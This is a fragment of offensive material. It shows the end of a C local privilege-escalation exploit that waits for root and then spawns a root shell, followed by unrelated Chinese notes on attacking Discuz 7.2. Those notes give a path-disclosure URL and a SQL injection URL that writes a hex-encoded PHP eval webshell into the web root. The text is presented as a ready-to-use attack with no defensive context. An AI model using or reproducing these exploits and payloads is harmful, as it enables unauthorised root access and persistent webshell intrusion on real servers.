  123.     timeout.tv_nsec = 1;   
  124.   
  125.     printf("waiting for root... it should take no more than few seconds.\n"   
  126.          "otherwise, run exploit again.\n");   
  127.     i = 0;   
  128.   
  129.     while (!gotroot && i++ < 4000)   
  130.         usleep(100);   
  131.   
  132.     setuid(0);   
  133.   
  134.     if (getuid()) {   
  135.         printf("failed. on unpatched systems, the exploit will be unkillable from now. try again.\n");   
  136.         exit(-1);   
  137.     }   
  138.   
  139.     execl("/bin/sh", "sh", NULL);   
  140.   
  141.     return 0;   
  142. }   
  143.     

DZ 7.2 爆路径

/manyou/admincp.php?my_suffix=%0A%0DTOBY57 爆路径

然后直接getshell
userapp.php?script=notice&view=all&option=deluserapp&action=invite&hash=' union select NULL,NULL,NULL,NULL,0x3C3F70687020406576616C28245F504F53545B274F275D293B3F3E,NULL,NULL,NULL,NULL into outfile 'C:/inetpub/wwwroot/shell.php'%23